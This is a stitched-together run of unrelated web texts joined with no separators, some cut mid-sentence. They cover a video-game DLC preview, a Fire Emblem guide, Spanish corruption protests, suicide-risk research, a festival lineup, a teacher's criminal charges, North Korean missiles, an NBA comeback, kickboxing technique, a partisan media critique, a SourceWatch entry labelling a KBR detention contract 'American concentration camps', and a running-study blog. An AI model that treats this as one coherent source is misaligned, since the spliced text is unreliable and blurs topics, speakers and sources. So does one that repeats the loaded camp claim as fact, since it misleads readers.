Not surprisingly, First Light will bring us back to Sucker Punch’s version of Seattle, an expanse you got to know well if you played through Second Son. But like Infamous 2’s standalone DLC, Festival of Blood, only a portion of the city will be available to play through; not the entire thing. The good news is that there seems to be a whole lot more to do in First Light than there was in Festival of Blood, which could conceivably be beaten in a couple of hours. First Light, on the other hand, should take four or five hours to complete, and that’s really only half of the story (more on that in a bit).
Much of the fun of Second Son was derived from running around Seattle, liberating it from the devious DUP by completing a bunch of little side quests, like destroying cameras, obliterating roving drones, or tagging walls with some of Delsin’s beautiful graffiti. Fetch can accomplish similar tasks, helping pedestrians being held hostage, completing special races, and partaking in some tagging of her own. She even has her own collectibles to find in the form of Lumens, pink-colored objects that act as her version of Blast Shards.
Exit Theatre Mode
Blast Shards, of course, allow you to upgrade your character’s abilities, which is exactly what the point of finding Lumens is. Fetch has eight different skills that can be upgraded – Drain Neon, Neon Bolt, Light Speed, Melee, Laser Focus, Stasis Blast, Homing Missiles, and Neon Singularity – and you’ll find her upgrade tree more straight-forward and far less convoluted than Delsin’s. But that could be because while Delsin ultimately had four powers at his disposal, Fetch is left with only one. Good thing it’s by far the best power available in the game.
“ She’s extremely quick, able to jet across city streets, up and down the facades of buildings, and leap through the air with incredible rapidity.
If you have experience playing as Delsin with Neon powers, than you’ll be plenty familiar with how Fetch handles. She’s extremely quick, able to dash across city streets, up and down the facades of buildings, and leap through the air with incredible rapidity. In combat, she can launch neon bolts and use melee strikes to great effect. There are even special pink portals placed all over the city that can give you a special boost as you’re jetting around with your Neon powers, allowing you to keep your momentum in much the same way the satellite dishes strewn around the city were designed to allow Delsin to stay in the air with his Video power.
Now, I mentioned earlier that there’s another half to First Light, and frankly, it’s the part of the package I’m most excited about. There’s an arena mode tied intimately into First Light’s story that allows you to play Infamous in a more arcadey, score-based fashion. The arenas – plural – are based in Curdun Cay, the infamous (see what I did there?) prison where Conduits are locked away by the authorities. While First Light’s campaign takes place two years prior to the events of Second Son, Curdun Cay’s arena battles are based in the present, right before Delsin is unleashed on Seattle. It’s there that Augustine tries to interrogate Fetch, tempting her to give up information that would be extremely valuable to the DUP. All the while, she has flashbacks, hence the story portion of the expansion.
Exit Theatre Mode
“ Speaking of Trophies, First Light is such a huge DLC expansion that it has a Platinum Trophy, therefore giving the entire Infamous: Second Son package two Platinums to its name.
Playing in these arenas is a blast. Waves upon waves of evermore difficult enemies appear, and it’s up to you to deal with them as best you can with the limited tools at your disposal. The different arenas have varying layouts, forcing you to use your array of strengths while minding your weaknesses. Your scores in the arenas can be shared on PlayStation Network with your friends and the anonymous masses alike, and there are a ton of Trophies to earn as you work your way through the many challenges presented at Curdun Cay.
Speaking of Trophies, First Light is such a huge DLC expansion that it has a Platinum Trophy, therefore giving the entire Infamous: Second Son package two Platinums to its name. Oh, and you don’t have to have Infamous: Second Son to download it and play it, though if you do, you’ll automatically unlock Delsin for use in the aforementioned battle arenas.
Infamous: First Light launches exclusively on PlayStation 4 on August 26, and will cost $14.99. Stay tuned to IGN for our review. In the meantime, you can read our full review of Infamous: Second Son, watch the video review above, and check out the two trailers for First Light embedded earlier in the article.
Colin Moriarty is IGN’s Senior Editor. You can follow him on Twitter.The world map becomes available upon completion of Chapter 6.
Here, you can advance to the next mission, visit the Dragon’s Gate (to access DLC), alter the difficulty level, start any available sidequests or return to My Castle.
Optional Battles
If playing the Birthright or Revelation campaigns, optional “challenge” battles will occasionally appear in locations you’ve already cleared in the story.
You can also force challenge battles to appear by choosing the “Scout” option and paying Gold–the amount required depending on the selected location.
Defending your Castle
For all campaigns, as you progress through the story, you will encounter up to three “Invasion” battles that occur in your castle.
Unlike regular challenge battles, these type of battles can only be played once. However you can enjoy more of these battles via StreetPass, SpotPass or Multiplayer.
Locations
Navigation Hoshido Nohr 3rd Route All Locations
(Map of Valla | Astral Plane)This article is part of our special news coverage Europe in Crisis.
The investigation of a political corruption case known as ““Gürtel” has revealed more serious facts like the alleged under the table salaries given to some members of the Popular Party (PP) leadership [es], which currently rules Spain [“under the table” means an illegal salary that is not officially informed or regulated]. The former treasurer of the PP, Luis Bárcenas, who up until a couple of weeks ago still had an office at the party's headquarters and was backed up by the leaders, is now being investigated for having a Swiss account with 22 million euros and for paying bonus salaries under the table [es] during long periods of time to important public offices.
It could turn out to be the most important corruption case in all Spanish history, and in spite of that, the implicated have denied all accusations, bragged about having transparent accounts, and are still asking the people to “adjust their budgets” due to the current crisis. To regain the citizens’ trust and prove their innocence, members of the party have offered solutions like an internal audit and sworn income declarations [es] which have angered everyone even more.
The case has caused strong reactions that have led to protests on the streets and on the web. Even though Twitter was down because of an overload several times during the day, netizens managed to call a sit-in infront of the Popular Party [es] in Madrid. As it had already happened before, the police surrounded Génova street, where the party headquarters are located, but the massive amount of citizens that protested chanting “Quit Government”, “There it is, Ali Baba's cave” and “The president is a criminal.”
Since the newspaper El País leaked secret documents [es] that proved the illegal financing of the PP, social media have become the support system for the popular outcry. An online petition at Change.org, which is still running, managed to receive 100,000 signatures in 10 hours [es] asking for the resignation of the Spanish government. Also, an initiative called the Spanish people to publish thousands of comments with envelope drawings (the money was supposedly handed out in envelopes) on the party's Facebook wall [es]. The party's communication department was not able to erase them all.
The hashtag #lospapelesdebárcenas (Barcena's papers) turned into a worldwide trending topic [es], as informed by several media. Also, other related hashtags about the case appeared on Twitter. For example, #pelisconbárcenas (movies with Bárcenas) opened the room for netizens to use their imagination and humor to comment the news using movies names in an attempt to highlight that reality exceeds fiction. Hashtag #DondeestaRajoy (where is Rajoy?) emerged as a way to denounce Mariano Rajoy's (Spain's President) silence because he hasn't made a statement on the case or on his possible involvement.
The international press has echoed the severity of the situation [es] that Spain is going through, and
several netizens have pointed out that the government, and not the protesters, are the ones harming Spain's image overseas, in reference to an accusation made by the government.
@ LivingInGreen: Cuando nos manifestamos dañamos la imagen de España. Cuando el partido del gobierno roba no. Cuando nos manifestamos dañamos la imagen de España. Cuando el partido del gobierno roba no. # lospapelesdeBárcenas ver para creer…
@LivingInGreen: When we protest, we damage the image of Spain. Not when the government's party steals. #lospapelesdeBárcenas see to believe.
Spanish bloggers also had a say on the scandal. Principia Marsupia published an article with the title “4 modest proposals for a revolution in Spain” [es]. The post makes a call to the party members and employees, to the citizens with a bank account, and to administration and strategic industry bureaucrats to denounce irregularities and take on the streets to end the financial scandals that hurt the country so much. It seems that this protest is already taking place since some mayors and party members have already presented their resignation and have defected the government [es]. The blogger introduced the case as follows:
Algunos seréis de derechas y otros somos de izquierdas. Ojalá eso no cambie nunca: la tensión de ideas y el debate riguroso son los requisitos fundamentales para que una sociedad avance. Pero creo que muchos estaréis de acuerdo en que la putrefacción de nuestro sistema político ha alcanzado su límite y que en este proyecto podemos trabajar juntos.Researchers have been studying suicide for a long time, for obvious reasons: It’s a tragic, universal human phenomenon that seems to be intimately linked to certain feelings of hopelessness and despair. Given all this research, one would think there had been a steady forward march of progress on understanding which factors most put people at risk for suicidal thoughts and behaviors, or STBs, as researchers call them. Unfortunately, that’s not the case at all. To a distressing extent, suicide researchers are still feeling around in the dark.
That’s the key takeaway from a big new meta-analysis in Psychological Bulletin. A team led by Joseph C. Franklin, a psychology researcher at Florida State, examined 50 years of suicide research to try to determine whether and to what extent researchers have homed in on risk factors that usefully predict STBs. And the short answer is that they just haven’t. Despite all those decades of research, and all those studies, we simply aren’t yet at a point where we can meaningfully predict who is at the greatest risk of STBs.
Now, that doesn’t mean researchers haven’t been able to draw some conclusions. According to Franklin and his colleagues, some factors are, in fact, correlated with significantly increased rates of STBs: If you have prior STBs, you are about 2.4 times more likely than a general member of the population, all else being equal, to think about or attempt suicide. If you have a family history of STBs, you’re about 1.5 times more likely. Generally speaking, the authors concluded, researchers do ask the right sorts of questions when conducting suicide-risk assessments.
These numbers are less useful than they sound in a practical context, though, simply because of how probability works. A tragic number of people commits suicide each year — as the authors point out, suicide accounts for an “estimated one million annual deaths across the globe,” which is “more annual deaths than homicide, AIDS, car accidents, and war.” On top of that, there are 25 million suicide attempts. So from a public-health perspective, this is a major cause of death.
But the average likelihood of any individual committing suicide is very low. As Franklin and his colleagues point out, in 2013 “0.013 of every 100 people in the United States died by suicide.” Even a risk factor that tripled the odds of death by suicide within a year — and the authors didn’t find any that even reached this level — would only raise this number to “0.039 per 100 people,” meaning an individual would still have a “near-zero” risk of suicide. When the base probability of the event is so low, risk factors that multiply it by three or four or five don’t get you all that far, in terms of predictive capabilities. In absolute terms, a 0.039-per-100-people number “is still a near-zero risk of dying by suicide that year.”
It isn’t all bad news — it just turns out that suicide is really, really complicated and may require some fancy math and technology to better unpack and predict:
Consistent with recent research (Kessler et al., 2015) and many hypotheses and theories about suicide, accurate STB prediction will likely require a complex combination of a large number of factors (i.e., 50), many of which are timevarying. Moreover, it is likely that there are many different paths to STBs. [A] single one-size-fits-all algorithm for STB prediction is unlikely; researchers will likely need to develop separate algorithms different populations (e.g., adolescents; the elderly; inpatients; soldiers/veterans; prisoners; mood disorder patients; psychotic disorder patients; etc.).
In terms of less complicated tweaks to how suicide resarch is done, Franklin and his colleagues recommend more of a focus on short-term outcomes, rather than long-term ones. If researchers conducted more studies examining which factors are correlated with STBs in the immediate future, rather than over the course of (for example) the following year, different, more clinically useful patterns might emerge. So while suicide researchers have a ways to go, there are at least some signposts pointing them in the right directions.Electric Forest is coming in hot with two weekends of festivities this year. Taking place on June 22-25, and June 29-July 2, 2017, the Rothbury, Michigan festival will feature The String Cheese Incident, ODESZA, Flume, DJ Snake, and our friends, Golf Clap.
The Detroit natives, aka Hugh Cleal and Bryan Jones, have an unmatched prowess in the house music scene and can often be seen creating an unmistakable vibe in the studio, at festivals and afterparties, and beyond. These two are just getting started, but they have plenty of wisdom when it comes to this year’s Electric Forest lineup, where they will be playing both weekends.
Check out Golf Clap’s recommendations for Electric Forest 2017 below. Catch them on Thursday, June 22nd at Claude VonStroke’s The Birdhouse Stage, and again on Thursday, June 29th. Make sure to peep their brand new track, “Bout That,” which is already climbing the charts on Beatport.
FKJ
Sunday, June 25th / Thursday, June 29th
He’s been our favorite live act for quite awhile now. We just went and saw him play in Detroit not too long ago on his recent tour. You’ve got to watch these live videos to see just how impressive it is.
DJ EZ
Sunday, June 25th / Friday, June 30th
One of the top DJs we’ve ever seen. We’ve watched these Boiler Room sets a million times and learned a lot of DJ tricks and ideas from them. We’ve had the pleasure of booking him in Detroit and playing with him a few times. Awesome guy.
Claude VonStroke
Thursday, June 22nd / Sunday, July 2nd / Friday, June 23rd (as Barclay Crenshaw)
We always catch Claude at Forest. We’ve been playing stuff on Dirtybird and listening to him for years now. We’re playing his hosted stage the first weekend this year along with Maya Jane Coles, Walker & Royce, Machinedrum, Jimmy Edgar, & Sonny Fodera. Don’t forget to check out his downtempo/hip-hop alias, Barclay Crenshaw, the first weekend.
AC Slater
Friday, June 23rd / Saturday, June 24th
We had a lot of fun hanging out at the Night Bass stage last year. AC Slater is back hosting his stage again at the Forest Stage the first weekend along with Jack Beats, Chris Lake, Redlight, Ardalan, Shift K3y, Sinden, & Bot
Shiba San
Thursday, June 29th / Friday, June 30th
We play tons of his music and book him in Detroit a lot. Really good producer and DJ. Perfect music for Forest. Don’t sleep on this.
Here are a few other acts that Golf Clap suggests you check out:
House/Techno: Sonny Fodera, Soul Clap, Sinden, Maya Jane Coles, Walker & Royce, Ardalan, Bot, Chris Lake, Oliver Heldens, Hi-Lo, Jimmy Edgar
Other: Andy C, Giraffage, Tycho, Wax Motif, Wave Racer, Autograf, Big Gigantic, Joe Hertler & The Rainbow Seekers, GTA
Check out Golf Clap’s “Essential New Tune” with Eyes Everywhere, out now on Toolroom Records, below.
Listen to Golf Clap’s Electric Forest Mixtape + Playlist below and get excited for this year’s festival by checking out the full lineup here.
Connect with Golf Clap:
Facebook / Twitter / SoundCloudSummer Michelle Hansen, a former special education teacher, has been charged with sex crimes involving five underage boys, all students at the Southern California high school where she once taught.
Hansen, arrested in June, is scheduled to be arraigned Thursday on 16 felony counts, including unlawful sexual intercourse with a minor, unlawful oral copulation with a minor, and sending harmful matter to a minor. If convicted, she could face up to 13 years in state prison.
In a statement released Tuesday, the Riverside District Attorney's Office said the alleged crimes took place between May 2012 and May 2013, and occurred "in her classroom, in a utility room at the school, in her vehicle while parked near one victim’s home, and at another victim’s home." None of the victims were students that Hansen taught.
Hansen's attorney has maintained her innocence, and claims that the former teacher had her phone hacked, according to the Press-Enterprise. Court documents obtained by the newspaper tell a different story.
According to a Corona police declaration, one of Hansen's victims told a detective that the teacher had sent him "inappropriate text messages suggesting sexual contact" that culminated in the teacher offering him sex as a prize for doing well in a baseball game.
An investigation of Hansen was launched in June after a former student at Centennial High School came forward and told officials that he had a sexual relationship with the teacher.
According to the Press-Enterprise, that student "told police that while he was 18 and after he graduated, Hansen would send him sexual text messages and cellphone photos that showed her in her underwear. The former student also said two underage boys told him that they had had sex with Hansen."
During the course of their investigation, the police identified multiple victims under the age of 18.
More from the Press-Enterprise:
Summer Michelle Hansen Mugshot:WASHINGTON (Reuters) - North Korea does not have the ability to strike the United States with “any degree of accuracy” and while its missiles have the range, they lack the necessary guidance capability, the vice chairman of the U.S. Joint Chiefs of Staff said on Tuesday.
Vice Chairman of the Joint Chiefs of Staff U.S. Air Force General Paul Selva speaks at the Center for Strategic and International Studies in Washington, U.S., October 28, 2016. REUTERS/Gary Cameron
Earlier this month North Korea said it had conducted its first test of an intercontinental ballistic missile (ICBM), and that it had mastered the technology to mount a nuclear warhead on the missile.
But General Paul Selva, speaking before the Senate Armed Services Committee, said the July 4th test stopped short of showing North Korea had “the capacity to strike the United States with any degree of accuracy or reasonable confidence of success.”
Pyongyang’s state media said the test successfully verified the atmospheric re-entry of the warhead, which experts say may be able to reach the U.S. state of Alaska.
“What the experts tell me is that the North Koreans have yet to demonstrate the capacity to do the guidance and control that would be required,” said Selva, the second highest-ranking U.S. military official.
South Korea’s intelligence agency also does not believe North Korea has secured re-entry capabilities for its ICBM program.
South Korea on Monday proposed military talks with North Korea, the first formal overture to Pyongyang by the government of President Moon Jae-in, to discuss ways to avoid hostile acts near the heavily militarized border.
The United States has remained technically at war with North Korea since the 1950-53 Korean conflict ended in an armistice rather than a peace treaty and the past six decades have been punctuated by periodic rises in antagonism and rhetoric that have always stopped short of a resumption of active hostilities.
Tensions have risen sharply after North Korea conducted two nuclear weapons tests last year and carried out a steady stream of ballistic missile tests.
When asked about preemptive military operations against North Korea, Selva said he believed that “we have to entertain that potential option.”
“We need to think seriously about what the consequences of that action might be,” Selva said.In this episode of the Making Sense podcast, Sam Harris speaks with Tom Nichols about his book The Death of Expertise. They discuss the “Dunning-Kruger Effect,” the growth of knowledge and reliance on authority, when experts fail, the repudiation of expertise in politics, conspiracy thinking, North Korea, Trump, and other topics.
Tom Nichols is Professor of National Security Affairs at the US Naval War College, an adjunct professor at the Harvard Extension School, and a former aide in the U.S. Senate. He is also a five-time undefeated Jeopardy! champion, and as one of the all-time top players of the game, he was invited back to play in the 2005 Ultimate Tournament of Champions. Nichols is the author of several works on foreign policy and international security affairs, including The Sacred Cause, No Use: Nuclear Weapons and U.S. National Security, Eve of Destruction: The Coming Age of Preventive War, and The Russian Presidency. His most recent book is The Death of Expertise: The Campaign Against Established Knowledge and Why it Matters.
Twitter: @RadioFreeTomThunder wins it!! Largest comeback win in Thunder history (21 points) pic.twitter.com/8Z5N6Du1EJ — OKC THUNDER (@okcthunder) March 30, 2017
Oklahoma City earned another tough win on the road tonight in Orlando. The Thunder came back from 21 points, which is the largest comeback in franchise history. This game didn’t have a lot of buzz around it from national media, other than the never ending story about the incredible season from Russell Westbrook. In a game that didn’t have much hype, or entertainment for most of the game, it certainly turned out to be an all-time classic.
The Thunder got off to an amazing start against the Magic due to the explosiveness of Russell Westbrook and the shooting of Victor Oladipo. Only a couple minutes in, Oklahoma City led 10-2. The lead quickly dwindled after a timeout from Orlando that led to some adjustments for them. The Magic actually took a one point lead during the middle of the quarter, but the Thunder ended up on top at the end. In what was a low scoring quarter, the defense from Oklahoma City is what gave them a slight edge after one.
The second quarter was a completely different story for Oklahoma City. The Magic outscored the Thunder 31-24 during the quarter, and the team is very fortunate that it wasn’t worse than that. Just about everything was going in for the Magic, while the Thunder struggled to find offensive rhythm. It was this way for a majority of the first half, as Oklahoma City struggled to put together any type of an offensive run.
Things only got worse during the third quarter for the Thunder on both sides of the ball. Orlando seemed to be scoring at will, while the Thunder couldn’t buy a basket, not even from the free throw line. The Magic led by as many as 21 during the quarter, but the Thunder cut the deficit to 10 points. At times, this second half felt very much like the game against Dallas on Monday night. Led by Russell Westbrook, the Thunder made another impossible fourth quarter comeback which caused overtime. Oklahoma City outscored the magic 13-4 in overtime, giving the Thunder a 114-106 victory.
Defense, Defense, Defense
Defense is a subject that we have talked about all season long when it comes to the success of the |
were successfully funded previously and produced and shipped our dice within 30 days to all our backers. The PIPS are the amount of dots per side so you would count anything that is NOT a smile. Please let us know any comments you have or post any questions we will be glad to respond. Thank you in advance of your pledges!by Ours is the Fury
Nathalie Emmanuel promoted to series regular for Season 5 by Ours is the Fury
HBO’s official Instagram has just posted a short video showing a series of quick clips from this Sunday’s Game of Thrones: Ice and Fire: A Foreshadowing. Check it out.
Making Game of Thrones has also teased the 15-minute preview with this list of 6 things to look forward to:
1. Fan Questions Are Answered
Get the dish from GOT actors. 2. Difficult Underdog Days
Get a taste of what your favorite characters are up against. 3. The Arrival of Oberyn Martell
Meet the game’s newest player. 4. Dragon Drama
Emilia Clarke talks about her quickly growing children. 5. More Action Than Ever
The series creators speak to the amped up velocity. 6. Quality Quips
Cast members share their most badass quotes.
And here is another clip, this one from the Game of Thrones Vine:
Game of Thrones: Ice and Fire: A Foreshadowing airs this Sunday, February 9 at 8:45 PM ET.Image via GLORY
In May of last year, Zack Mwekassa seemed like just some jobber brought in to welcome Pat Barry back to kickboxing. At Bellator Dyanmite next weekend, Mwekassa finds himself in a fight for the GLORY light heavyweight title. Part of this is fortune smiling upon Mwekassa, but for the most part the Congolese puncher has forged his path there with a trail of soul-snatching knockouts.
Mwekassa has been called the most interesting man in combat sports, and it's easy to see why. A survivor of the Second Congo War, the victim of a shooting, a snake bite, a volcanic eruption and a laundry list of other misfortunes you wouldn't wish on your worst enemy. From an accomplished family and always with something thoughtful and honest to say, Mwekassa's memoir is sure to fly off of the shelves if he can sit still long enough to write it. But by far the most important point to anyone watching him fight is that he consistently lays opponents out.
The Congolese kickboxer fighting out of South Africa has what every fighter wants and every fan wants to see, heavy hands. You can have the most beautifully rounded kickboxing game in the world, but it doesn't put arses in seats quite like the promise of a big puncher swinging for the fences. Mwekassa has a style built for short Youtube videos and gifs, and in this age of Reddit and Twitter, that more than anything can help a fight promotion get its product out.
What is interesting about Zack Mwekassa is that despite being almost entirely a boxer in a kickboxing ring, he consistently gets results with his hands alone. The dynamic of kickboxing often stunts the effectiveness of punching techniques—the constant danger of kicks and the need to check prevents a fighter from using his feet to line up his punches and create angles as well as he would in a boxing match. Overwhelmingly in kickboxing, the consistent knockout punchers are men who a) develop a big counter punch (think Tyrone Spong's left hook in answer to everything), or b) overwhelm with volume against an opponent's guard until you can work one around, a la Gokhan Saki.
What Mwekassa has found success with is a technique which is almost an afterthought to most boxers, the jab. Not a jab on the spot, but a long, lunging, spearing jab. The kind of jab that Miguel Cotto was diving six feet forward on to smash Paulie Malignaggi's nose open. Of course, to do this requires a deep step between the opponent's feet, and to do it well—maximising the reach across the shoulders and minimising the profile—means turning side on and turning the lead foot in.
The difficulty that boxers who transfer to kickboxing and attempt to use their jab have always had is that this step is completely nullified by the need to be ready to check kicks. You might eat a kick on the way in and it'll buckle your leg, or you might land a picture perfect jab, do the damage, and still eat the low kick on the way out. It plagued the great Mike Bernardo for his entire career despite his constant vigilance on the issue, and it made Riddick Bowe's Muay Thai bout a sad sight.
Obviously Bowe was old and overweight, but the delusional fans in the comments section who claim he would have won the bout in his prime “with his jab” didn't notice that every time he wanted to jab, he started to turn himself side on to stretch out his tremendous reach, as he had throughout his career, and presented that lead leg more and more. The same vulnerability stunts many fighters' lead hooks in kickboxing to a degree by not allowing them to pivot and 'toe in'.
Mwekassa, however, has managed to work in his long jab by picking his shots better. He will stand square, picking up the lead leg when he senses a kick, and then as the kick retracts or when he is certain it isn't coming, he'll lunge in on that jab. His timing has proven to be exceptional to this point.
To the center on the single jab, to the left when looking to line up the right straight.
Here he takes a kick on the forearms, waits a beat, then springs in with a hard jab.
Here Mwekassa floors his man by stepping in on a kick.
But here Mwekassa lands the jab perfectly and is unbalanced by taking a low kick immediately afterwards. It was into the front of the leg, not the end of the world, but still shows the lack of solid base against kicks from the long jab position.
While the long jab in kickboxing exposes the fighter's lead leg and places him more side on so that kicks to the upper body will unbalance him, the square on stance adopted by the majority of kickboxers to deal with kicks actually leaves them more vulnerable to straight jabs up the center if the feet are used to line the blow up correctly.
Mwekassa's opponent jabs with his hand, out of his squared stance, while Mwekassa dips to the side and steps deep on his jab, turning his body side on. In a pure jab off, the pure jab will win.
A few good, weighted jabs to the face and Mwekassa can usually get onto the front foot. By keeping the opponent on the retreat and their feet moving, he makes it much harder for them to challenge his base with those kicks.
That deep step on the jab also serves to set up Mwekassa's terrific left hook. He will perform that same step to get his body on a line behind his lead shoulder, itself in line with the opponent's centreline, but instead loop the punch around the opponent's guard. Here you can see him go from two powerful jabs, straight to the left hook, but it doesn't quite come off:
This time he fairs a little better and causes a stumble which is ruled a knockdown.
Confident that the opponent was hurt, Mwekassa stepped in with a couple of quick power punches and another left hook laid Carlos Brooks out. The classical jab and left hook double attack was entirely responsible for that knockout and it was beautiful to watch.
There's a few more tricks to Mwekassa—he uses an excellent right straight to the body, when he's flurrying he will work off to the right side so that his left hook enters through the center of the guard, not to mention that terrific left uppercut and counter left hook—but the kicking game was the cause of his last loss. Against Saulo Cavalari, whom he will rematch at Bellator Dynamite for the GLORY light heavyweight title, Mwekassa was landing his shots but eating low kicks which clearly hurt him.
Here Mwekassa goes to the boxing favorite when tired—to stop moving your feet and move your head instead. Problem is that swaying your head out of the way in kickboxing greatly inhibits your ability to pick up your leg and check a kick. Mwekassa was repeatedly touching his own leg by this point, making it clear that he was in pain.
The third round came and Cavalari threw a low kick, followed by a left high kick—an excellent weapon to dissuade opponents from dipping to their right as a boxer like Mwekassa often will.
Now with Gokhan Saki and Tyrone Spong being MIA for the foreseeable future, the GLORY light heavyweight title is up for grabs, and you couldn't ask for a much better match up on their current roster than Mwekassa versus Cavalari. Mwekassa's most recent performance showed a return to the more cautious attitude he had to opponents kicks he displayed before his meeting with Cavalari, wherein he was somewhat keen to get straight in and throw. Meanwhile Cavalari has since gone the distance in a split decision victory over Artem Vakhitov.
The co-main event of Bellator Dynamite is worth watching for the play off in styles alone. The fact that a belt is on the line and that it is preceded by a card of excellent fights and succeeded by, well... Liam McGeary at least, is just a bonus.
Pick up Jack's new kindle book, Finding the Art, or find him at his blog, Fights Gone By.
Check out these related stories:
Bellator's Big Gamble
Raymond Daniels: Just Short of a Superstar
Glory 19: Why Karate Doesn't Work in the RingAs denunciations of the Associated Press continue to mount, and the wire service tries to defend its wildly misleading report about the Clinton Foundation donors Hillary Clinton met with or talked to while serving as secretary of state, keep in mind the AP now joins a long list of news outlets that have been burned chasing Clinton-related'scandal' stories in recent years.
Out to prove that Clinton was granting special access to foundation supporters, and that “possible ethics challenges” loomed if she were elected president, the AP announced on Twitter that “half” the people she met with while running the State Department had donated to her family charity. The claim set off a media firestorm, but it was completely false.
Unfortunately, there’s a long tradition of media players practicing tunnel vision in pursuit of hollow Clinton gotcha stories; stories that instantly portray her, sometimes alongside President Obama, as being villainous or deceitful, but turn out to be flat wrong.
Remember in 2015 when The New York Times accused Clinton of having possibly "violated federal requirements" for document retention with her use of personal email for official government business? It turned out that hint of criminality was invented by the Times, as several news outlets subsequently confirmed.
In 2013, ABC News’ Jonathan Karl got duped by a (likely Republican) source regarding the contents of White House emails discussing the formulation of talking points in the wake of the Benghazi terror attack. Going off bad intel, the ABC exclusive accused the administration of having "scrubbed" vital information from the talking points, which sparked a media frenzy. (Karl later expressed “regret” for the flaws in the report.)
That same year, CBS’ Lara Logan presented a bogus Benghazi investigation on 60 Minutes that relied on a supposed eyewitness to the terror attack; an eyewitness who previously told the FBI he had been nowhere near the U.S. diplomatic compound on the night of the killings. (The “witness” also told Logan he had scaled a twelve-foot high wall during the attack in order to bash a terrorist in the face.)
Now the AP joins that list.
I will note that unlike the New York Times, ABC News and CBS News examples cited above, the AP’s donor story this week did not revolve around false information. Instead, the AP chose to present information in a demonstrably misleading and unfair way, generating a firestorm of media coverage and dishonest campaign attack lines from Donald Trump.
Caveat: In its “BREAKING” tweet promoting the story, the AP did push categorically false information about Clinton and foundation donors. The AP tweet announced, “More than half those who met Clinton as Cabinet secretary gave money to Clinton Foundation.” But the AP’s own article contradicted that claim: The “half” represents a minor subset of people who met with or talked to Clinton. The brazenly false tweet, designed to generate controversy, still hasn’t been corrected or deleted by the AP.
Overall, the AP misfire seemed to be fueled by a newsroom desire to document Clinton malfeasance where none exists, or to ring the optics warning bell. “That is basically what most every drummed up ‘scandal’ against Hillary Clinton comes down to: from the perspective of the people judging her – it looks bad,” wrote Nancy LeTourneau at Washington Monthly in the wake of the APs’ failed donor story. “The AP blew their story,” she added.
LeTourneau wasn’t alone in coming to that conclusion.
From Vox:
The nut fact that the AP uses to lead its coverage is wrong, and [Stephen] Braun and [Eileen] Sullivan’s reporting reveals absolutely no unethical conduct … There’s just nothing here. That’s the story. Braun and Sullivan looked into it, and as best they can tell, [Clinton’s] clean.
The New Republic:
Its entire premise was built on the kind of tendentious data-shaping that is the bread and butter of opposition researchers, not news outlets.
And Inside Philanthropy [emphasis added]:
Look, I get that the media doesn’t yet grasp how enmeshed our “charitable” sector has become in politics and public policy, since it's complicated and opaque stuff. But reporters like Stephen Braun and Eileen Sullivan should do their homework before writing about places where these two paths meet, like the Clinton Foundation, in order to provide more context. Otherwise, they’re just being irresponsible.
That last critique hit upon the glaring fact that the AP provided virtually no context for its Clinton hit piece. Rather than showing how Clinton’s contact with donors was “extraordinary,” the AP simply stated that as fact. That, along with plenty of innuendo, was supposed to convince readers that there was something very wrong with Clinton meeting with or speaking to 85 foundation donors over her days as secretary of state.
Here’s the key: The AP’s face-plant this week wasn’t a one-off instance of a newsroom temporarily losing its way and editors inexplicably okaying for publication an investigation that stridently tried to skew the facts. This is what happens all the time with Clinton coverage. The press is absolutely locked into a GOP-friendly mindset.
As Matthew Yglesias suggested at Vox, AP reporters and editors, using the exact same information they uncovered about Clinton’s visitors, could have written a factually accurate article about how, despite what her critics loudly claim, there’s no proof Clinton sold access, let alone favors, to foundation donors. Instead, the AP, adhering closely to accepted Beltway storylines, used the same information to depict Clinton as being ethically challenged, even though the AP’s own donor reporting didn’t support that conclusion.
Note that the AP’s blunder has been part of a renewed media frenzy about the foundation and its supposedly crooked ways. The press has defended its hyper-attention under the guise of conflict-of-interest concerns about the Clinton charity and Hillary Clinton’s possible presidency. But if the press suddenly can’t sleep at night knowing conflicts of interest might be lurking, why has almost nobody in the media asked if the Trump Foundation is going to be “shut down” if Donald Trump is elected president? Why has the Beltway press been virtually silent about the obvious conflicts looming if Trump hands over his sprawling business enterprise to his sons while he serves as president?
Why is there always a separate, higher standard the Clintons have to meet? And why do news outlets like the Associated Press, and The New York Times, and ABC and CBS, routinely engage in dishonest endeavors in the name of chasing so-called Clinton scandals?
As Dylan Byers announced last year at Politico, the D.C. press seems “primed to take down Hillary Clinton.” The AP did nothing this week to disrupt that claim.On January 24, 2006, the U.S. Department of Homeland Security's (DHS) U.S. Immigration and Customs Enforcement (ICE) component awarded an Indefinite Delivery/Indefinite Quantity (IDIQ) contingency contract to Halliburton subsidiary Kellogg Brown and Root (KBR) to "support ICE facilities in the event of an emergency"—in essence, American concentration camps—Business Wire reported.
"With a maximum total value of $385 million over a five-year term, consisting of a one-year based period and four one-year options, the competitively awarded contract will be executed by the U.S. Army Corps of Engineers, Fort Worth District. KBR held the previous ICE contract from 2000 through 2005." [1]
"The contract, which [was] effective immediately, provides for establishing temporary detention and processing capabilities to augment existing ICE Detention and Removal Operations (DRO) Program facilities in the event of an emergency influx of immigrants into the U.S., or to support the rapid development of new programs. The contingency support contract provides for planning and, if required, initiation of specific engineering, construction and logistics support tasks to establish, operate and maintain one or more expansion facilities.
"The contract may also provide migrant detention support to other U.S. Government organizations in the event of an immigration emergency, as well as the development of a plan to react to a national emergency, such as a natural disaster. In the event of a natural disaster, the contractor could be tasked with providing housing for ICE personnel performing law enforcement functions in support of relief efforts," Business Wire wrote.
Construction 2006
KBR is constructing "a huge facility at an undisclosed location to hold tens of thousands of Bush's 'unlawful enemy combatants,'" Marjorie Cohn wrote in AlterNet, October 9, 2006. "Americans are certain to be among them."
The Military Commissions Act of 2006, passed September 29, 2006, "provides the basis for the President to round-up both aliens and U.S. citizens he determines have given material support to terrorists," Cohn wrote.
Related SourceWatch Resources
2002
2003
2004
"FEMA Concentration Camps: Locations and Executive Orders," Friends of Liberty (The Awakening News), September 3, 2004 (update).
2005
Jennifer Loven, "Bush considers using military against avian flu outbreak," Associated Press (USA Today), October 4, 2005.My goodness, is it February already? It's been several months since the last round of articles warning that running too much will kill you--must be time for another one. What's that? No new data to publish? That's no problem, we'll just republish the same data. The media never bothers to check these things, and always reports it as if it were brand new.
The new article is published in the Journal of the American College of Cardiology, analyzing data from the Copenhagen City Heart Study. (And here, on cue, is one of the requisite newspaper articles: "Fast running is as deadly as sitting on the couch, scientists find.") The exact same data was published back in 2012 in the American Journal of Epidemiology. This time the authors are the same, but with the addition of James O'Keefe, who has been an author on pretty much every single one of the "running will kill you" studies.
